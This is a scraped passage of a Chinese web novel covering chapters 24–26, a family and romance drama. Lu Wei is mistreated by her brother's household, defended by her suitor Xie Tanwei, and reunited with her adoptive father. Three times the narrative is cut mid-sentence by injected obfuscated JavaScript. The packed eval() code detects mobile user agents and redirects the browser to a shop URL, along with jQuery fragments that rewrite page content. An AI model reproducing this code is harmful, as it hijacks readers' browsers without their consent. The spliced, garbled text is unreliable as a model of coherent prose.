“阿姊,你长兄能够早归,也是你冒死出力,陛下还解了赵府的禁,你又为他们操持归置。做了这么多,他们再不领情,你也仁至义尽了,不必多想。” 杨淑贤陪伴露微而来,露微亦对她无所保留。 当日赵家案发,舒正显是当廷参奏,赵启英自是比露微早知道。而舒家与姚家的关联,露微最初也是从长嫂朱氏口中得知。所以,长兄夫妇必会把这笔帐算在露微头上。 露微没再多说,放眼官道,一辆简素的车驾已然缓缓驶来,很快就停在了她们面前。 意料之中的,赵启英坐在马上纹丝不动,只向露微俯下冷冽的目光,而车驾的窗帘撩起,露出长嫂朱氏的面孔,亦是满目恨意。 “小姑姑。” 这一声是赵家的长孙赵澈喊的,七岁孩童尚且懵懂,却也在下一刻就被母亲按到了身后。 露微对孩子的微笑停在了脸上,上前一步下拜道:“兄嫂一路风尘,家里已打理清爽,请……” 没有说完,接替话音的是一记响亮的耳光。 “夫人想干什么!!” 朱氏的手尚且扬在半空,被淑贤一声吼住了。然而,露微只是将她又拉回来,忍着脸颊麻痛,看向了赵启英: “阿兄,父亲如何了?” 赵启英深吸了口气,理了理身穿的氅衣,将脸转向城门:“走。” 于是,意料之中的场面撑不过短短一时,而在车马入城之际,一匹骏马伴随着嘶鸣疾驰而至,马背上跳下的人却让露微本不算沉重的心情一沉到底: “你怎么来了?!”露微见到的正是谢探微。 谢探微似乎隐忍许久,气息颤抖:“她为什么打你?!” 果然,谢探微都看见了。 露微陷入沉默,尚带血色的嘴唇被寒风吹得愈发干涩,半晌,道:“你还记得我跟你说过吧?我说我兄长也不喜欢我,那些话并不是安慰你,是真的。” 谢探微本是抽了一刻空闲特意而来,想从旁看看露微久违的喜悦,也替她高兴。可谁知,马蹄才到城门,眼睛还不及寻人,一抬就看见朱氏落下的那一耳光。 “就是因为你与兄长隔母?!”谢探微自是难以置信,本身也是不通的,他轻抚着露微红肿的脸颊,比打在他身上还痛。 露微的眼中流下泪水,无力地转过了脸。 淑贤看到此处,最是看透一切,从后揽住了露微:“谢中候让我先带阿姊回去吧,也容她几日处理家事。” 谢探微不是忍心露微如此,只是忽觉他们之间距离远了,或是他竟从未发现,他本没有靠近过露微的心。 “中候若是真心待我阿姊,将来许多事自应有明断。” …… 露微还是回到了杨家,脸颊的红肿很快消去,但萦绕心头的沉重一重压着一重。 “阿姊,外面下大雪了。”淑贤推门进来,见露微装束不理,就趴在案上发呆,一叹,“你要这样到什么时候?” 露微稍提了口气,抬手抹去淑贤肩上的雪花,“我是在想,今天去见一回阿兄才好。” 淑贤又不解:“三天了,他们也该知道你做了多少,更该知道你已不在姚家,却还是不闻不问,你去干什么?!” “他一向如此,我只是想问问父亲的事。”露微很平静,说着起身更衣,简单挽起了头发。 淑贤拿露微没办法,还嗔怪着,却也上前帮她理妆,“他若还是不说呢?或者就根本不让你进门。” “那我就一直等。他一向自为端正,才复官回来不宜多事,总会顾及外人眼光,会让我进去的。” “他还端正?连你的名声都要拿来做文章,虚有其表!” “所以,才是自为端正么。” …… 咸京每至腊月便会接连大雪,这才是第一场,落了不久便已半尺之深。露微和淑贤各穿着厚重毛织的大氅,行走在庭院里一步一坑,不多时便将鞋袜冻透了。 “冷死了,还是别去了,要去就去将军府!” “你回去吧,我自己可以的。” 淑贤没几步就是一句抱怨,可行动还是依着露微,而露微只是含笑看她,也并不想改变行程。 “阿娘!” 忽然,冰天雪地之间传来一声稚语,惊断了两人的步伐。露微一抬头,鬓边的玉簪正好刮到路旁伸出的一支斜梅,花瓣上的积雪随之弹落,迷了她的双眼。 待雪落定睛那一瞬,稚语的小女已来至面前,伸手要抱,而早已将她抱到胸前的,正是她的父亲。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430272|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“露微,我知道开明已经回来了,我们一起去吧。” 开明是赵启英的字,来的是姚宜苏。 “杨家不欢迎你!来人,送客!” 淑贤立马便要驱逐,可挥动的手还是被露微握住了,“你先去,不要吓着孩子。” 小泽兰已被淑贤的高声惊得捂住了脸,窝在父亲怀抱。 淑贤切齿攥拳,瞪着姚宜苏,好一会儿才退开。 露微虽不知姚宜苏此刻会来,却已深知他的微末伎俩,淡淡道:“你是打探我回不了赵家,所以要帮我?是觉得我们一起出现,阿兄就会另眼相待么?” 姚宜苏自从知道露微寄居杨家,便甚为了解她的行踪。这自然就是“泽兰”的功劳,只不过先前常带泽兰来的是杨淑真。 “开明还不知道你我的事,总归还能给姚家二分薄面。你父亲的事要紧,不是吗?” 露微笑了,“你姚家不是最恨我的出身么?何时竟能成了我的靠傍了?阿兄如何能够回来,不用我再告诉你一次了。就算你日日都能亲见天颜,也不敢替赵家说话,到了此刻,还惺惺作态什么?” “负你夫妻之情确实是有,可我从来没有嫌你不是赵家亲女!那都是母亲的作为!赵家的案子我也打听了,可我毕竟只是医官,若不明轻重就随意插手,难免不会雪上加霜啊!” 姚宜苏言之切切,激动用力,又把怀中孩子惊了一跳,大哭起来。露微是听不得泽兰哭的,心急无奈,只得立马把孩子抱了过来,转进廊下,细语安抚。 “露微,你就当是为了泽兰,跟我回去好不好?” 姚宜苏跟了过去,可不管他看上去有多真诚,露微只是看出,他已不再矫饰自己的手段目的。待孩子平静下来后,她让跟随的雪信抱远,回身之际手掌一挥,打在了毫无准备的姚宜苏脸上。 “你真卑鄙!” 姚宜苏有半晌都没回过神来,身体歪着,眼中渐渐积聚起一层似怒而又似嘲的目光,“露微,是我卑鄙,还是你不择手段?为了根本看不起你的赵家,竟能不顾廉耻,委身于人?!” 露微万不料想姚宜苏能说出这样的言辞,那几个字,竟将这个人撕扯得面目全非,“你再,说一遍?!” 姚宜苏冷笑:“难道我说错了?那日在将军府,谢中候的卧房里,平榻上的衣带不是你的?内室帐中躲藏的不是你?!” 露微知道就是那一次,可任何的辩白只能助长姚宜苏的气焰,她似乎也只能听凭凌辱—— “是又如何!!!” 谢探微来了,像从天而降。 看见谢探微的那一眼,露微整个身体都不自觉地一软,跌倒之际,那双曾拥她入怀的双臂将她稳稳接住了。 “别怕,我来了。” 耳畔一阵温热,泪水夺眶而出,露微心里的重重旧故,在这一刻得到了彻底的释放。 “没想到,姚医官除了会治病疗伤,还喜欢窥人隐私。”抬头转对姚宜苏,谢探微瞬间换了副面孔,“听闻你颇受陛下眷顾,难道为陛下看疗时,你也喜窥探天家私隐?” 姚宜苏早在谢探微出现的那一刻就失去了颜色,但此时,他只是理了理形容,拱手道:“下官不敢。” “既然不敢,就好好管住自己的舌头。就如你素日看诊,未察其体,就不要开方下药,未知其因,就不要悖言乱辞!今日只是警告,若你胆敢再欺辱露微,我就让姚家世代积攒的盛名断送在你手里!你不信,就尽管一试!” 姚宜苏静立听完,其中有他上回说给谢探微的话,“下官不敢。”他还是这一句。 谢探微没再多看他一眼,转身抱起露微,径直走向了内院。 小泽兰还被雪信抱在廊中,露微迷蒙的泪眼与孩子小小的身影擦过,孩子口中喃喃,分明又叫了一声“阿娘”。 今冬的第一场大雪停了。 24.云开 谢探微的从天而降并非偶然。杨淑贤在被露微支开后就立即奔赴了将军府,而在半路上就遇见了早已煎熬不住的谢探微。于是,淑贤便将什么都说了,而谢探微既未多问一句,更不曾迟疑半刻。 暖室相对,只三天不见,却有隔世之感。 “你就真的没有想问的吗?”露微等了许久。 谢探微一直只是盯着她看,这句话音又落下许久,忽然才动了一下,“今天是我第一次威胁旁人,我说得好不好?” 露微怔了一下,一笑,泪意涌上眼眶,“好。” “但他要是真的敢试,我就真的会做。”谢探微的目光不改,更添了许多不容侵犯的冷峻。 露微没见过谢探微这副神色,漆黑的眸子笼罩着她,让她不知所措,也不敢深思,“你别这样,我害怕。” 只一个“怕”字,谢探微眼中深邃化为乌有,立刻倾身抱住了她,“以后有我在,什么都别怕。不管是姚家,还是赵家,谁都别想欺负你。” 露微听见自己的心跳如擂鼓一般,又不断突突向上。 “露微。”谢探微忽而深切地唤了声,一只手沿着她纤薄的身子缓缓向上,抬起了这张微红的面孔: “我们相识晚了几年,这已无可改变,我不能替你将所有屈辱都讨回来。但从现在开始,你要时时记着,我谢探微不会因你从前的任何一件事而低看你一眼,永远不会!” 露微的泪水无声落下。 谢探微的脸上却点缀起笑意,慢慢的,他俯下脸庞,一点点靠近了那枚泪珠滚过的唇红。唇是软的,泪是涩的,但交融其间,却如春夜润雨,妙不可言。 良晌。 “谢探微,我其实一直是跟我阿娘姓的,她姓宋,所以我叫宋露微。我们是不是该重新认识一下?”露微倚在谢探微的胸膛,抚弄着左腕上的镶金玉镯。 谢探微好似随意地一笑,“那不要紧,反正你下半辈子都会被称作谢夫人。” 露微一时不语,等到谢探微察觉垂目,却是见她出了神,“是不是累了?” 露微仰起了一个明媚的笑脸:“谢探微,你再亲我一下吧。” …… 云开雾散之后,露微便同谢探微回了将军府。用杨淑贤的话说便是,好了伤疤忘了疼,眼里再无大恩人。露微与谢探微皆是笑而不语,临行前双双向这位杨大恩人拜了一礼。 到了将军府,露微还是选在原先的厢房住下,身边除了多了一个雪信,一切还是简素的样子。收拾安置之际,谢探微暂说有事,独自去了晏令白的内堂。 晏令白自然也知晓露微的到来,但他尚不知许多事,开口便是先问:“敏识,我也知你们彼此有意,可你这样做是否有违礼法,于露微的清誉有损啊?毕竟,她长兄已经回来了。” 谢探微坦然一笑,都能猜到晏令白会说什么,“阿父,那你就不奇怪,露微的长兄回京数日,为何也不来接她?” 晏令白只听闻露微此前都忙于归置赵府,又去城门迎接了家人,并没想过别的,“她家中又出什么事了么?” “准确说来,那不算她的家。”谢探微将心气沉了一沉,“阿父,露微并非赵家亲女。莫看她待赵家情深义重,只恐赵家早就弃绝于她了。” “并非,亲女?!” 晏令白惊得顿步后退,近乎要支撑不住。可此事虽是令人意外,这副神色却好像有些过了。 “阿父,怎么了?”谢探微疑惑不已。 晏令白一手扶在案上,许久才抬头,目光却是茫然的,“当日我奉旨兵围赵家,是知道赵公先后有过两位夫人的,所生一子一女是隔母的,可……” 谢探微仍看不懂晏令白的神情,也不知他是怎样探知赵家曾有两位夫人的私事。 金吾围府只为捉拿赵维贞,而清点罪臣家眷通常是刑狱三司论罪时需做的,可赵家的案子根本就没有经由三司会审,是天子直接发落,隔日就遣出了咸京。 “他们不仅是隔母,露微的母亲是被赵尚书搭救的孤女,彼时就已经怀有身孕,生下露微后才与赵尚书结为夫妻的。” 左右是理弄不请,谢探微也只想道出自己的要紧事。然而,才只说到这句,晏令白就直接跌坐下来。谢探微慌忙去扶,脸色也吓得白了一层: “阿父,你身体不适吗?我去请医官!” 晏令白缓缓挥了挥手,双眸变得浑浊,“那孩子有没有告诉过你,她的生辰年岁?” 谢探微点头:“开和元年九月初三,她今年十七了。” “是十七,不是十六?” “开和元年九月至今,不就是十七么?” …… 掌灯时分,谢探微自内堂转回厢房,可走至院中忽听房中有些不太寻常的动静,等进门一见,却大为惊疑:露微坐在榻边,两手不停地抓挠腿脚,白袜上竟都印出了血痕,而雪信和丹渥一旁苦劝,她却连头都不抬。 “怎么了?!” 谢探微自然着急,露微闻声一慌,动作是停了,却又忙用被子遮住了双脚。 谢探微只想立刻查看她究竟如何,手伸出去一半,顿住,转向了一旁的侍女,“你们说。” 谁知,雪信早憋不住了,第一个回话,“娘子在姚家时常被老夫人刁难,冬天罚她跪雪地,一跪就是一夜,于是腿脚上落了冻疮,每到这个时节便会发作,奇痒难耐,非得抓破了才能好些,可一旦溃烂更是大事啊!” 谢探微的怒意自听到“姚家”起便压不住了,只是看着露微万般难色,才切齿忍下,“我知道了,你们先下去。” 内室的炭火烧得很暖,露微捂在被下的双脚越发闷热,眼见她又要忍不住了,谢探微一俯身掀开了被子,将她的双脚捧到了自己膝上。褪去袜子一见,脚踝脚背果已多处红肿,被挠破的伤口正有血水溢出,气味也是不好闻的。 “你现在还不能看我的脚!”虽如此说,露微也没挪开,为难之色都变成了无奈,“进进出出的冷热交替才这样,过两天就好了,别看了。” “他不是当世名医么?就算拦不住他母亲,事后竟不能为你根治?!” 谢探微是不想再对露微提起姚家的,可这件事简直骇人听闻,竟没有一个道理可以说通——名医在外济世救人,于内却对自己的妻子毫无医德恻隐。 露微却异常平静,“如果我说,他与我成婚三年从未碰过我,你信么?” 女子在嫁人前清清白白是寻常,可成婚三年仍洁身如玉,谢探微不是不信,此事更不在于信不信。他唯有沉默。 露微将他的神情都看懂了,一笑,张开双臂抱住了他,“好了,别傻了。你看了我的脚,就必定是要对我负责的。” 谢探微抚着露微的后背,缓而才松弛些许,长长地吐了口气,“我早说过,此生绝不相负。” 露微只是不想他心思沉重,不免还是另起话端,“你刚刚是不是去见将军了?他同意吗?” “他是我阿父,在我心里比父亲更重要,所以我对他知无不言。只是他今天好像身体不适,我还没有说到如何议婚。” “那你还不去侍奉,回来干嘛?”露微一下将他松开了。 谢探微苦涩一笑,捋了捋露微额前的碎发,“他尚好,还问了你的生辰年岁,似乎一直以为你是十六岁。” “一岁之差也不大啊,十六十七能一眼看出来?” 这同样是谢探微的疑惑,“我也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439605|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知,可能是他阅人无数,眼力不同常人。” …… 虽然没有再去赵家,但露微不曾一刻忘了父亲的事。眼见腊月已至尾声,新岁团圆之期将至,她的心情便更加迫切。 然而,也正是因为到了年下,回京述职的封疆大吏,各国使臣等等云集京城,咸京比平常热闹了不少,便正是金吾卫加强内外戒备之时。于是露微已连日难见谢探微和陆冬至,就更不用说职责重大的晏令白了。 见不到人便连一点探知消息的方法都没了,还是只能空等。 “娘子,既上了药,便万不可再抓挠了,今冬治好了,明年就不会再犯了。疼吗?奴婢尽量轻些。” 这日晨起,雪信依照谢探微的临行叮嘱,端来热水药品,替露微双脚的冻疮擦拭换药。可露微只是心思飘忽,并不觉雪信说了什么,也不知疼。 忽然不知怎的,外间猛地“哐当”一声,像是房门被撞开,然后便见丹渥跌跌冲冲,满身凌乱地跑了进来: “娘……娘子!娘子的父亲来了!现在就来了!” 话音未落,雪信手中的药瓶“咚”的一声砸在盆里,水花溅在露微脚上,让本就迟钝一步的她浑身一颤,踢翻了铜盆,然而她一无知觉: “你说什么?”声音不高,只是懵然。 “是真的!阍房就是这么传话的,奴婢没听错!”丹渥伏跪在地,既还惊恐,更却万分肯定。 露微没有了辨别的力气,心跳声涨到了耳内,扑通扑通,她只能听见这声音。她踩在浸湿的地毯上一步步往外走去,赤着脚踏入了冰天雪地。 她走得并不快,且走走停停,可是,院子里,视线里,在她迟疑之间忽然涌进许多人。她看不清别的面庞,却一眼就认准了走在最前头,最是清瘦俊逸的那人—— “微微。” 一声深切的呼唤夹带风霜之苦,颤巍巍地钻入她的耳朵,四周都安静了——“阿……父亲。” 她终究瑟缩在墙角,也没能叫出最亲昵的称呼。 …… 暖室里只有父女二人。恍然便像是十年前,父亲还没那么忙,小女儿总能趁着一隙空闲缠着他说故事,从上古神话说到今人轶事。真是既短暂又难忘的快乐时光。 “父亲,不怪我吗?” 久违的相见,突然的无措,都是露微在害怕。她怕父亲也像兄长那样责怪她,她也早已认定自己不能挽回父亲的一线亲情。而父亲的亲情便是她对赵家唯一的念想。 然而,眼前场景与她所想的天差地别,父亲只是看她流泪,苍鬓之下的瘦削面颊不停颤抖: “微微,都是为父害了你啊!是我让你十三岁就早早离开了家,也是我识人不清,让你生生遭人三年凌辱!更因我专注公事,对你不闻不问,让你缺少依傍,四处飘零。微微,你该怪为父才是啊!” 原来,不期然,父亲全都知道了。 “可是,可是弹劾父亲的舒正显,是姚宜苏旧日的……她现在是楚王妃,她可以随意害人的!” 露微仍是自责,因为这层关联是抹不去的,不管是得罪了楚王,还是牵动了楚王妃,赵家都必然难逃俎上鱼肉的命运,有这一次,便难保不会有下一次。 “微微,朝廷之事与你无关!”赵维贞满心痛惜,低哑的嗓音是在极力克制,“陛下已经召见过为父了,都没事了!你不要怕,再也不要怕!” “真的吗?陛下不再降罪父亲了?陛下饶过赵家了?!” “真的,都是真的!” 露微所做的一切不过就是求个赵家平安,所有的话都不如这一句来得紧要。她终于等到了。 “微微,别哭,阿耶带你回家,回咱们自己的家!” 25.落定 露微跟父亲离开将军府时才弄清楚,陪父亲同来人中,除了晏令白,还有内官丁仁成,他们都是奉了天子的旨意。赵家经历的劫难总算是到此为止了。 回到从小长大的家,露微睡了一个无比踏实的觉,一夜无梦,日上三竿才醒来。坐在妆台前,为她理妆的不再只是雪信、丹渥,还多了曾经跟随母亲宋容的侍娘,乔晴霞。 “乔娘,你才从那么远的地方回来,该多歇几日。” 乔晴霞看着铜镜中的露微,渐渐笑中带泪,“再远也不及你受的苦,若夫人泉下有知,如今不知该为你高兴还是伤心。” “自然是该高兴,现在一切都解决了。” 露微回忆起来,母亲病重时最担心的,也不过就是赵家再无人庇护她。而现在是父亲亲口对她说,不是将她嫁出去了就不再管她,只是诸多牵扯造成了诸多误会。 乔晴霞点点头,为露微最后系上发带,完成了梳妆,“娘子容貌与夫人年轻时颇相像,都是美人呢。” 露微倒从没细论过自己的相貌,对着镜子笑笑,心里却更有一件要紧事要办,“乔娘,我要出门,帮我备车吧。” “外头的雪还没化完,你脚上还有伤,急着去哪儿啊?”乔晴霞不解,却一见,旁边的丹渥抿嘴忍笑,早和露微对上了暗号。 可是,也没等再问,方才出去倒水的雪信回来了,站下来便惊怪道:“家翁在前头发了好大的火,说要赶大郎他们走呢!” “什么?!” 赵维贞远道归来还不及调养就动怒,这不得不让露微担心。而且,父亲动怒的原因也不必猜,肯定是为赵启英多年来的作为。 …… “你如今既已入仕,成家立业,也早该自立门户,就去吧,以后自问前程,不必再进这个门!” 赵维贞对着跪在堂下的儿子肃然抛下一句话,声音虽不高,分量却极重。赵维贞只有赵启英一个孩子,而瘫坐在一旁的还有赵启英的妻儿,便是要将唯一的一支血脉都断绝之意。 “父亲竟要驱逐儿子么?!”赵启英一脸难以置信,指着后院的方向,额上冒出青筋,“就为了那个根本不是赵家人的野丫头?” 赵维贞冷冷地哼了一声,“你是赵家人,但你可曾将我的话听进去半分?这些年你都背着为父做了什么?!” 赵启英自宋容母女进门时便十分嫌恶,而赵维贞既给了母女名分,便是不容家中乱议论。但赵启英不仅将露微的身世弄得赵家上下皆知,还在露微婚宴之际,佯装醉酒,有意胡言,又将事情宣扬到了姚家。 若姚家不知这段旧事,就算姚宜苏无情,露微也能安然度日,不至被华氏贬低凌辱。这便是露微三年不幸的源头。后来,赵启英之妻朱氏因打听得姚宜苏有个旧情人舒青要,便又故意传到了露微面前,致使露微心中痛苦又加了一层。 而朱氏正是赵启英母亲娘家的侄女,与赵启英是青梅竹马,从来一心向着姑母和丈夫,凡遇事都不问青红皂白。于是,夫妻间互相纵容,又仗着赵维贞早年不问内政,自是趁风得便,害人不浅。 “难道我不该恨她?”赵启英睁着一双泛红的眼睛,完全不再遮掩自己多年的苦恨,“就是因她母女进门,我娘才会病情加重,或者我更该怪父亲薄情,逼死了自己的嫡妻?!” “你——” 赵维贞的怒火被这句话彻底引燃,而正要扬起家法之际,露微赶到了,一把就夺去了父亲手中的竹尺。 “父亲息怒!” 看到露微,赵维贞立时满心不忍,泄了口气,又不愿轻易放过,“微微,你回房去,这里自有为父做主!” 露微只是一笑摇头,将竹尺交给身后跟来的乔娘,转对堂下,将一家三口挨个看过,目光停在朱氏怀中七岁的赵澈身上。诗礼门第,七岁的男孩早已开蒙读书,也已能够晓事,不知父母怎样教导,但露微没从孩子眼中看到憎恶之意。 “小姑姑。” 果然,孩子和在城门时一样,认她。即使叫完这一声,又被朱氏强行扭过了头。而朱氏虽不言一语,表情态度都和赵启英一样。 “阿兄,长嫂。”露微在他们面前蹲了下来,一直到平视孩子的视角,“你们做的事我早就知道了,多年来,我也一直误会着赵家的态度。我是人,人都会有爱憎,可爱憎不能是无理的。” “你有什么理?”赵启英嘲讽一笑,“你难道是想说,宋氏在我母亲过世后代理家事,对赵家有恩?” “难道没有吗?虽然我娘不这么认为,可苦劳也是劳,有劳便有恩。”露微还给他一个轻笑,“她直到去世前都在说自己欠赵家的债还不了,这里头都是对你的愧。她能理解你少年丧母的伤心,也为自己占着主母的身份而痛苦。因为她身为母亲,也很自私地想要给我一个堂堂正正的名分。” 赵启英的眼中有过一丝惊诧,却很快消弭:“不管你怎么辩解,你母女都是来历不明的,你从来都不是堂堂正正!” “你住嘴!” 赵维贞无法忍看,拉起露微要再行家法,却又被拦下。露微将父亲扶去坐下,示意乔氏看护,很快又转回了赵启英跟前。她觉得,今天正是一鼓作气说清楚好机会。 “阿兄二十二岁就春闱得中了进士,足可以称是读书人的典范,可实在却是不明理的。”话对着赵启英,露微的眼睛却是看着赵澈,浅浅示以安慰。 “为人父母想要竭尽所能给子女庇护,这是天经地义,你没有资格批判我娘的慈母之心。更重要的是,她并非不择手段而为我讨名分,可你却抛了读书人的气节,不择手段地报你的无理之仇。君子乐得其道而小人乐得其欲,试问,阿兄此举,是行君子之道,还是泄小人之欲呢?” 露微从一开始就不是想像父亲一样问罪赵启英,她的心里只是不屑。她又作一笑,“依我看,阿兄不过是‘所谓君子,更胜小人’。” 赵启英唯有切齿之声,却再也无言反驳。 “父亲莫怪,我还有最后一些话。”露微一转身,忽然向赵维贞跪下了,“我若不客气地论起来,赵家能平安,我也算出了力的。可我彼时自身飘零,也是完全可以不管的。但我忘不了阿娘的遗言,想要还了欠赵家的债。所以如今,我母女都不欠阿兄的。唯有父亲,养育之恩,露微此生都不能报答!” “微微,快起来,起来!”赵维贞连忙将女儿扶了起来,既心疼更自责。 他对儿子动怒,无非是没想到儿子背地里如此行径,可他要是能分出些心思早日发觉疏导,也不至于。露微的一番话,也算是把赵家多年的积弊都理清了,摆在了明面上。 片刻之后,赵维贞终究没有驱逐儿子一家,只是让他们下去自省。露微达到了目的,即使也并没有从赵启英夫妻的脸上看到一丝悔恨,她也都不在乎。 “微微,你娘的那些话,你怎么从来也不和我提啊?”赵维贞握着女儿的手,颤颤问道。 露微淡然一笑,却反问:“阿耶对阿娘有恩,可阿娘与你并不是因为有情才结为夫妇的,是吗?” 这是露微小时候就看出来的,只是涉及长辈的私事,她不便过问。而如今,这个答案已成了多年旧事的关键一环。 赵维贞眼中蓄满热泪:“可在阿耶心里,微微一直都是阿耶最疼的女儿。” …… 平息过这一场后,露微再不想出门的事,就一直陪伴父亲,吃茶叙话,重温起往日的时光。 到了午后,一直守候在旁的乔氏退了出来,说要上街给露微买她最爱吃的萧家馄饨,叮嘱了雪信丹渥几句便离开了。 萧家馄饨的店铺在皇城西边的颁政坊,在赵府坐落的崇贤坊之北。可乔氏跨马而去,却并非向北疾驰。约莫两三刻后,马蹄停在了咸京南郊的乐游山下。 “微微现在很好,家翁很疼爱她,你还想知道什么呢?” 下马之地,早有一个人在等乔晴霞,而她一无寒暄,开口便直入正题,目光所及是远山,也并不看这人。 “当年,当年……”此人却有些失魂落魄,气息颤抖而畏缩,“容儿是什么时候知道自己怀了孩子的?她难道明知有孕,却还执意要走么?” 乔晴霞一笑,瞥了这人一眼:“微微是开和元年九月初三出生的,我和容姊是那年初春离开的,你自己算啊。” 这人猛一顿步,“她就这么恨我?!” “她为什么不能恨你?”乔晴霞紧接着说道,原无波澜的脸上表露一丝嘲讽,“她是孤女,自小尝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462748|138508||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽冷眼,都说她是来历不明的野丫头。你虽与她相爱,给过她几年温存,却终究醉心战事,越来越不能兼顾。她不喜欢边地的生死血腥,你也曾有数次机会能够调离,可你就是不走。” “那时贼人屡屡犯边,战事不断,我怎么走?!若边境失守,天下难安,我又怎样给她安定的生活?” “你都有理由!”乔晴霞怒斥一声,“所以你现在也别想把女儿认回去!容姊就是因为有了这个孩子,才决心与你离婚。她自己可以忍受,但绝不能让孩子生于战乱。后来能遇到家翁,也是上天垂怜,让微微不至于像容姊一般,被人说成来历不明。” “可她这些年过得并不好!岂止是不好!”这人捏紧了拳头,分明是反驳,却透着心酸无力。 乔晴霞看得明白,仍只是冷嘲一声,“那你怎么不想,若你当年遵一次调令,也就没有后来的这些事了!始作俑者,其无后乎,圣贤书上的这句话,当是为你晏昭清量身裁定。” 晏昭清,即是晏令白,是原来的甘州大将,更是如今的金吾卫大将军。 良久,看晏令白再也无话可说,乔晴霞翻身上马,临去前却又幽幽地丢下一段话: “微微自小爱吃城西的萧家馄饨,这在甘州叫做馄饨饼,容姊最拿手,也是你最喜的。可见,微微确实继承了你的血脉习性,但如今的你定不如一碗馄饨能令她高兴。你就以晏大将军的身份活着吧,永远都不要露出马脚!” …… 赵启英回到自己院中后,愤懑之情虽然稍减,可心中不平并未消除。朱氏的情状有过之而无不及,嘴里不停在念叨。 “夫君是赵家唯一的子嗣,父亲再生气也是一时的,都是那丫头巧舌如簧,蓄意煽动。父亲难道连澈儿这个嫡亲孙子也不要了?竟等一个外人侍奉养老?” “你别说这些了,一时都无用。”赵启英拉了朱氏一把,揉了揉眉心,“我是在想,父亲与我先后被赦,却只隔了一月,父亲连夜抵京,立刻就去见了陛下,这些事都有些蹊跷。” 朱氏并非毫无见识,想想便道:“难道这些事还没了结?可陛下已经给你重新赐官了,陛下见父亲,不更是好事?” 赵启英吃力地摇了摇头,“赐官是赐官,可你瞧是什么官?吏部主事,一个八品小吏,可我原来已是从六品的卫尉丞。都说我年少得志,可其中艰辛又有谁知。功名是我自己考的,官职是我自己争的,我从不沾父亲的光,可父亲有事,一损俱损。如今主持吏部的已不是父亲,而陛下一日未授父亲官职,我在朝中也不过是为人笑柄。” 朱氏听来连连叹气,想起自己娘家无人,就剩了一个弟弟,原还指望赵启英能帮衬一把,“都怪那个野丫头,简直是丧门星!” “阿娘!” 夫妻俩自顾叙话,倒忘了七岁的儿子也在屋里。 “怎么了?”朱氏将孩子招到身边,“困了还是饿了?” 赵澈只是摇头,然后竟十分正经地拱手一礼,“澈儿以为,阿娘不该在背后指责别人,有话应该当面说。” 朱氏说来说去矛头就对着露微,“别人”自然是有所特指,这倒把她气着了,“小孩子懂什么?你还真认她当你姑姑啊?” 赵澈却叹了声气,颇有些老成之态,将眼睛转向了赵启英,“阿耶,澈儿素日读书,书上说的和之前小姑姑说的一样,所以小姑姑其实是对的。阿耶怨恨她,可她以德报怨,澈儿觉得,君子修德,正是小姑姑这样,小姑姑是君子。” 且先不论赞不赞同,赵启英一时先惊住了,倒真没想到七岁的儿子能说出这番话。而也不等他说,朱氏又立马反驳道: “她是个女人,怎么可能是君子,唯有像你阿耶这样的,才是君子。你是怎么读书的?” “阿娘是从哪里得知的呢?”谁知,赵澈接得更快,“君子之所以是君子,是因为身怀君子的德行,并不是男子才能做君子,小姑姑有君子之德,便定是君子无疑。” 朱氏并不是胸藏文墨的才女,知道的两卷书已不够再反驳儿子的话了。而赵启英亦是无言,只将孩子揽到身前看了又看。 “你以后说话注意些,不要当着孩子说些乱七八糟的,他才几岁。”半晌,他对朱氏如此言道。 26.义绝 一觉醒来拨开帘帐,露微看到了杨淑贤。 “贤儿?”她满脑袋发懵,揉眼重看了一遍,“贤儿?!” 杨淑贤直是无奈摇头,“阿姊真高卧,人都卧傻了呀!” 露微确实还在清醒中,拍了拍脑袋,拉了淑贤并坐,“昨夜陪父亲说话晚了,睡得沉,你有事就直说嘛!” 杨淑贤瞧着露微略显浮肿的脸,噗呲一笑,“我当然知道你近来心中只有父亲,可倒别忘了,外头还有个人也要你陪呢!” “啊?”露微顿时一激灵,站起来就要往外走,“谢探微来了?他就这样直接来了?那我阿耶……” 杨淑贤再慢一步,这人就披头散发地出门了,“哎呀,才几天呀,你真傻了!他怎么敢直接来?赵伯父还不把他的腿打断啊!” 露微也不知自己怎么了,想起谢探微,脑子竟动不起来了,“所以你直说,他怎么了?” 淑贤本是要逗她取笑,这地步真也没料到,只能坦白:“赵伯父来接你那日,他知道消息已经晚了。可他既不能直接上门,也不便与你通信,毕竟赵伯父如今尚未复官,是常在家里的,若留了什么痕迹,恐怕连累你的名声。所以他就拐了个弯,把信送到了我家。” 露微到这时才算真正醒了,可叹谢探微为她想得如此周全,她连日却当真将这人闲置一旁了。 “那他送到你家,万一连累你呢?” 